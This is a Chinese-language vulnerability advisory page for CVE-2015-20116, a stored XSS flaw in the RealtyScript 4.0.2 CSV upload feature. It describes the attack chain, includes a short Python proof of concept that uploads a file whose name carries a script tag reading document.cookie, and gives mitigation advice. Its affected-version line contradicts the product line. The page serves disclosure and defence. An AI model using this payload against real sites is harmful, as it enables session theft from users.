IPBUF安全漏洞报告
English
CVE-2015-20116 CVSS 6.1 中危

CVE-2015-20116: RealtyScript 4.0.2 CSV文件上传存储型XSS漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2015-20116
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Next Click Ventures RealtyScript 4.0.2

相关标签

存储型XSSCSV文件上传RealtyScriptCVE-2015-20116跨站脚本攻击文件上传漏洞Web应用安全

漏洞概述

CVE-2015-20116是Next Click Ventures公司开发的RealtyScript 4.0.2版本中存在的一个存储型跨站脚本攻击漏洞。该漏洞源于应用程序在处理CSV文件上传时,未能对文件名参数进行充分的输入验证和安全过滤。攻击者可以通过构造包含恶意JavaScript代码的文件名,在multipart/form-data请求中注入XSS payload。当用户访问或系统处理这些上传的文件时,嵌入在文件名中的恶意脚本会在受害者浏览器中执行,从而窃取会话cookie、劫持用户账户或进行其他恶意操作。由于该漏洞影响文件处理和显示流程,攻击载荷会被永久存储在服务器上,形成持久的攻击向量。此漏洞的CVSS评分为6.1,属于中等严重程度,攻击复杂度低,无需认证即可发起,但需要用户交互才能触发。

技术细节

RealtyScript 4.0.2的CSV文件上传功能存在严重的安全漏洞。攻击者构造包含恶意JavaScript代码的文件名(如<script>alert(1)</script>.csv),通过HTTP POST请求的multipart/form-data方式上传该文件。服务器端应用程序直接接受并处理文件名参数,未进行任何输入清理或输出编码。当文件列表被显示或文件被下载时,浏览器会解析并执行文件名中嵌入的恶意脚本。攻击者可以利用此漏洞窃取用户的认证令牌、session ID,或者通过DOM操作修改页面内容。由于CSV文件的处理通常涉及数据导入功能,攻击者还可以尝试利用电子表格软件的XSS漏洞扩大攻击面。漏洞的根本原因在于缺少对用户输入的严格验证,以及在输出时未进行适当的HTML编码。

攻击链分析

STEP 1
步骤1
攻击者构造包含XSS payload的恶意文件名,如'<script>alert(document.cookie)</script>.csv'
STEP 2
步骤2
攻击者通过HTTP POST请求,使用multipart/form-data方式上传构造的CSV文件
STEP 3
步骤3
服务器接收文件后,未对文件名进行输入验证和过滤,直接存储在文件系统中
STEP 4
步骤4
当管理员或用户访问文件列表或下载文件时,浏览器解析文件名并执行嵌入的恶意脚本
STEP 5
步骤5
恶意JavaScript在受害者浏览器中执行,可窃取cookie、session或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2015-20116 PoC - RealtyScript CSV File Upload XSS # This PoC demonstrates uploading a file with malicious XSS payload in filename import requests import sys target_url = "http://target.com/upload" # Replace with actual target URL # XSS payload embedded in filename malicious_filename = '<script>alert(document.cookie)</script>.csv' def exploit_csv_xss(): """Upload CSV file with XSS payload in filename""" try: files = { 'file': (malicious_filename, 'test,data\n1,2', 'text/csv') } response = requests.post(target_url, files=files) print(f"[*] Request sent with malicious filename: {malicious_filename}") print(f"[*] Response Status: {response.status_code}") if response.status_code == 200: print("[+] File uploaded successfully - XSS payload stored") print("[+] When file is displayed, the script will execute in victim's browser") else: print("[-] Upload failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_csv_xss()

影响范围

RealtyScript < 4.0.2

防御指南

临时缓解措施
在服务器端实施严格的输入验证机制,对上传文件名进行白名单过滤,去除所有HTML特殊字符。建议对上传的文件进行重命名,使用系统生成的唯一标识符存储文件。同时在文件显示页面实施输出编码,确保恶意脚本不会被浏览器执行。如暂时无法升级,可通过WAF规则临时拦截包含<script>标签的文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表